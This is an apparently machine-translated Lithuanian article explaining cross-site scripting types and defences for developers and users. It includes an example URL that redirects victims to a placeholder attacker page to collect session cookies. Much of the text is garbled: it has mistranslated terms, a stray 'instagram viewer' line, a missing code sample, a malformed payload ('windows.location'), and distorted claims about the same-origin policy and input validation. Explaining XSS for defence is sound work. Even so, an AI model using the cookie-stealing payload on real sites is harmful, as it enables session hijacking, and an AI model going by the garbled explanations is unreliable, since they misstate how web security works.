Kaip įsilaužėliai naudoja įvairių svetainių scenarijus, kad sugadintų svetaines ir pavogtų duomenis

Skriptai keliose svetainėse arba XSS gali būti stipri ir greita ataka. Kaip kūrėjas, jūs netgi galite tai laikyti savo kodo klaida ir ieškoti klaidų, kurių nėra.

Kaip klientas, naudojantis pažeidžiamą svetainę, taip pat galite nekaltai atskleisti svarbią informaciją apie prieigą prie užpuoliko tapatybės patvirtinimo.

Taigi, kas yra svetainių scenarijus? Kaip įsilaužėliai gali ją naudoti įsilauždami į svetainę ir pavogdami jūsų duomenis? Ir kaip jūs galite sušvelninti tokią riziką?

Kas yra svetainių scenarijai?

Kelių svetainių scenarijai arba XSS įvyksta, jei kenkėjiškos svetainės scenarijai sąveikauja su pažeidžiamo kodu.

Tačiau serveriai yra prijungti taip, kad neleistų autentifikavimo neturintiems žmonėms pasiekti ir redaguoti jūsų svetainės šaltinio kodą.

Internetas naudoja tos pačios kilmės politiką (SOP), kad blokuotų sąveiką keliose svetainėse. Tačiau SOP patikrina tris pagrindines saugumo spragas ir bando jas sušvelninti. Jie yra:

• Interneto protokolo politika, tikrinanti, ar abi svetainės pateikia turinį saugiu SSL (HTTPS) ar nesaugiu URL (HTTP).
instagram viewer
• Ta pati žiniatinklio prieglobos politika, kuri užtikrina, kad priglobsite abi svetaines tame pačiame domene.
• Uosto politika, tikrinanti, ar abi svetainės naudoja panašius ryšio galinius taškus.

SOP mano, kad jei kuri nors iš šių politikų skiriasi bet kurioms dviem svetainėms, jie negali skaityti ar keistis duomenimis internete.

Tačiau „JavaScript“ yra manipuliuojanti kalba, kuri lemia svetainės reagavimą. Nors jūsų svetainės „JavaScript“ greičiausiai yra atskirame faile, taip pat galite sukurti scenarijaus žymą ir įrašyti ją į savo dokumento objekto modelį (DOM).

Taigi XSS užpuolikas gali pagalvoti: "jei galite parašyti" JavaScript "DOM, tada galiausiai galite jį paleisti bet koks kodo redaktorius arba įvesties laukas, kuriame priimamos HTML žymos. "

Toks pažeidžiamumas ir atsitiktinumas yra tas, į kurį XSS naudojantis užpuolikas atkreipia dėmesį į tikslinę svetainę. Radę tokią spragą, jie gali apeiti SOP.

Susijęs: „Ultimate JavaScript“ apgaulės lapas

Todėl XSS yra ataka, kurią užgrobėjai naudoja į pažeidžiamą svetainę įterpdami scenarijų, atliekantį kenkėjiškus veiksmus. Scenarijus gali būti taikomas neapsaugotoms formoms ar įvesties laukams, kurie priima duomenis.

Kaip veikia skirtingų svetainių scenarijai ir tipai, su pavyzdžiais

XSS gali būti greitas atspindėto ar laikino scenarijaus vykdymas, kurį užpuolikas pateikia tokiose formose kaip paieškos laukai. Tai taip pat gali būti įkyrus ar nuolatinis, įvedamas į duomenų bazę. Arba jis gali pasyviai pasirodyti po puslapio įkėlimo.

Kai kuriais atvejais šis scenarijus taip pat gali pakeisti aukos pirminį indėlį, kad nukreiptų jų ketinimus. Nuolatinis vartotojo įvesties pokytis yra mutuojantis XSS.

Nepaisant bet kokios formos, XSS atakos tikslas yra pavogti aukos duomenis per atvirus slapukus ir žurnalus.

Pažvelkime į trumpą kiekvieno iš šių XSS atakų tipų paaiškinimus ir jų pavyzdžius, kad suprastume, kokie jie yra.

Kas yra atspindėtas XSS?

Atspindėtas arba laikinas XSS yra tiesioginis „JavaScript“ įvedimas į vartotojo įvesties lauką. Jis skirtas užklausoms, kurios gauna duomenis iš duomenų bazės, pvz., Paieškos rezultatus. Bet tai yra vieno kliento taikinio ataka.

Vykstant atspindėtam XSS, užpuolikas įterpia scenarijų į tikslinės aukos paieškos terminą. Toks „JavaScript“ gali būti aidas, peradresavimas ar slapukų rinkėjas.

Į paieškos įvesties lauką įvestas scenarijus bus vykdomas, kai tik tikslinis klientas pateikia savo užklausą.

Pvz., Per vartotojo paiešką užpuolikas gali įterpti „JavaScript“, atkartojantį formą, prašydamas, kad auka įvestų savo slaptažodį ar vartotojo vardą. Kai vartotojas tai padarys, jie gali nesąmoningai pateikti savo įgaliojimus užpuolikui, manydami, kad tai yra pradinės svetainės užklausa.

Kartais užpuolikas taip pat gali naudoti scenarijų, kad nukreiptų vartotoją iš pažeidžiamo puslapio į savo puslapį. Užpuoliko puslapyje nieko neįtariančio vartotojo galima apgauti pateikti kelias formas, o tai gali sukelti nutekėjimą.

Panašiai, jei siekiama pavogti vartotojo seansą, užpuolikas į vartotojo paieškos terminą įterpia slapukų rinkimo scenarijų. Tada jie pagrobia dabartinę vartotojo sesiją, pavagia svarbią informaciją ir perima aukos veiklą.

Žemiau pateiktas XSS atakos pavyzdys pavagia vartotojo slapuką per GET užklausą:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

Aukščiau pateiktame XSS pavyzdyje užpuolikas pažeidžiamoje svetainėje randa spragą. Taigi, kai vartotojas pažeidžiamoje svetainėje ieško neprieinamų išteklių, jis nukreipia juos į užpuoliko puslapį. Tada užpuolikas paliečia dabartinio vartotojo slapuką ir paima jo sesiją.

Tačiau šis pažeidžiamumas yra įprastas, kai svetainės užklausos veiksmas nėra filtruojamas, kad būtų galima patikrinti scenarijų įvedimus per HTML.

Bet net jei yra filtruota užklausa, užpuolikas gali tai apeiti pasinaudodamas beviltiškomis priemonėmis, pvz., Nuorodų siuntimu galimiems svetainės vartotojams realiu laiku. Jie gali tai padaryti naudodamiesi bet kuria socialinės inžinerijos forma jiems prieinama.

Susijęs: Ką daryti nukritus į sukčiavimą

Nukentėjusiesiems spustelėjus tokią nuorodą, užgrobėjas dabar gali sėkmingai įvykdyti XSS ataką ir pavogti svarbius aukos duomenis.

Nuolatinis arba saugomas scenarijus tarp svetainių

Saugoma XSS kelia daugiau grėsmių. Tokiu atveju užpuolikas scenarijų saugo svetainės duomenų bazėje, sukeldamas nuolatinį saugomo scenarijaus vykdymą. Saugomas kodas gali būti paleistas įkėlus puslapį arba įkėlus puslapį.

Skirtingai nei laikina XSS forma, saugoma XSS taikoma visai pažeidžiamos svetainės naudotojų bazei. Be to, jis taip pat skirtas paveiktos svetainės vientisumui.

Nuolatinio XSS metu užpuolikas naudoja įvesties laukus, pavyzdžiui, komentarų formas, norėdamas paskelbti scenarijų į svetainės duomenų bazę.

Bet ką daryti, jei POST laukus apsaugosite naudodami CSRF žetonus? Deja, saugomi kelių svetainių scenarijai apeina CSRF patikrinimus.

Taip yra todėl, kad užpuolikas pateikia formą kaip ir visi kiti svetainės vartotojai. Taigi tokia komentarų forma scenarijų siunčia į duomenų bazę, kaip ir visus kitus komentarus.

Tokia ataka gali įvykti, kai įvesties laukai svetainėje nenaudoja tinkamų dezinfekavimo priemonių, kad išvengtų scenarijų ir HTML žymių.

Įsivaizduokite, kad vartotojas paskelbia scenarijų žemiau naudodamas interneto komentarų formą:

Kai užpuolikas įterpia tokį kodą į svetainės duomenų bazę, jis vis nukreipia auką į užpuoliko svetainę, kai įkeliamas puslapis. Scenarijus taip pat gali būti įspėjimas, interaktyvus modalinis langelis arba įdėtas kenkėjiškas skelbimas.

Kadangi scenarijus peradresuoja įkeliant puslapį, auka, kuri nėra susipažinusi su pažeidžiama svetaine, gali nepastebėti peradresavimo.

Tada jie eina į priekį bendraudami su užpuoliko svetaine. Tačiau pagrobėjas gali pasinaudoti keliomis priemonėmis, kad gautų informaciją iš aukų, kai jos atsiduria jų tinklalapyje.

Kas yra DOM arba pasyvus XSS?

DOM pagrįstas XSS vykdo kenkėjišką kodą, įterptą į svetainę, priversdamas visą DOM kliento pusėje elgtis neįprastai.

Nors saugoma ir atspindėta XSS taikoma serverio užklausoms svetainėje, DOM XSS taikoma vykdymo metu. Tai veikia įterpiant scenarijų į svetainės komponentą, kuris atlieka tam tikrą užduotį. Šis komponentas neatlieka serverio veiksmo.

Tačiau scenarijus, įterptas į tokį komponentą, visiškai pakeičia jo ketinimus. Jei šis komponentas atlieka su DOM susijusią užduotį, pvz., Tas, kuri keičia svetainės elementus, scenarijus gali priversti keisti visą tinklalapį.

Blogesniais atvejais DOM pagrįstas XSS gali imituoti klaidą. Taip yra todėl, kad tinklalapis tampa neįprastai reaktyvus.

Kaip užkirsti kelią skirtingų svetainių scenarijaus atakai

XSS pažeidžiamumas atsiranda dėl netinkamo geriausios programinės įrangos naudojimo. Taigi užkirsti kelią scenarijų atakai keliose svetainėse paprastai atsako kūrėjas. Tačiau vartotojai taip pat turi atlikti savo vaidmenį.

CSFR prieigos rakto naudojimas įvesties laukuose neatrodo XSS atakų sprendimas. Kadangi ši ataka taip pat apeina tą pačią kilmės politiką, kūrėjai turi būti atsargūs ir nepraleisti saugumo praktikos, trukdančios XSS.

Kūrėjams naudingos šios prevencinės priemonės.

Išvalykite įvesties laukus

Norėdami išvengti tiek saugomos, tiek laikinos XSS, įvesties laukuose turėtumėte naudoti efektyvius dezinfekavimo priemones. Pavyzdžiui, pašalinus paieškos užklausas, negalima užkirsti žymos vartotojams.

Naudokite „Unicode“ ir „HTML Auto Escape“

Naudinga naudoti HTML ir „Unicode“ automatinį pabėgimą, kad įvesties laukai, pvz., Komentarų ir konversijos formos, nepriimtų scenarijų ir HTML žymų. Automatinis pabėgimas yra stipri prevencinė priemonė prieš saugomą ar nuolatinį XSS.

Leisti vartotojams įterpti žymas į komentarų formas yra bloga idėja bet kuriai svetainei. Tai saugumo pažeidimas. Tačiau jei turite tai leisti, turėtumėte priimti tik tas žymas, kurios nekelia XSS grėsmių.

Naudokite tinkamą įvesties patvirtinimą

Net jei visiškai užblokuosite žymas, užpuolikas vis tiek gali atlikti XSS ataką socialinėmis priemonėmis. Jie gali siųsti el. Laiškus, užuot ką nors tiesiogiai patalpinę pažeidžiamoje svetainėje.

Taigi dar vienas būdas užkirsti tam kelią yra efektyvus įvesties patvirtinimas. Tokios priemonės apima protokolų patvirtinimą ir užtikrinimą, kad jūsų svetainė priima tik saugaus HTTPS įvestis, o ne HTTP.

Naudojant specialias „JavaScript“ bibliotekas, pvz., „Dompurify“, taip pat galite padėti užkirsti kelią su XSS susijusiems saugos pažeidimams.

Galite naudoti tokius įrankius kaip XSS skaitytuvas arba GEEKFLARE patikrinti, ar jūsų svetainėje nėra XSS pažeidžiamumų.

Kaip vartotojai gali užkirsti kelią XSS

Šiandien internete yra milijonai svetainių. Taigi vargu ar galite pasakyti, kuris iš jų turi XSS saugumo problemų.

Tačiau kaip vartotojas, prieš naudodamasis, turėtumėte įsitikinti, kad esate susipažinę su bet kuria interneto paslauga. Jei tinklalapis staiga tampa šliaužiantis arba ima elgtis neįprastai, tai gali būti raudona vėliava.

Kad ir koks būtų atvejis, būkite atsargūs ir neatskleiskite asmens duomenų su nepatikima trečiąja šalimi. Tada ieškokite nepageidaujamų el. Laiškų ar įtartinų socialinės žiniasklaidos įrašų, kurie gali sukelti bet kokį sukčiavimo išpuolių forma.

Nė vienas prevencinis metodas netinka visiems

Mes matėme, kaip atrodo XSS ataka ir kaip jai užkirsti kelią. Kuriant kūrinį lengva pamiršti XSS saugumo patikrinimus. Taigi kūrėjai turėtų imtis priemonių užtikrinti, kad apsauga nebūtų praleista. Tačiau anksčiau išvardytų prevencinių priemonių derinys veikia geriau.

Kas yra CSRF priepuoliai ir kaip jų išvengti?

Kad neprarastumėte grynųjų ir kredencialų per CSRF atakas, kūrėjai ir vartotojai turi atlikti savo vaidmenį.

Apie autorių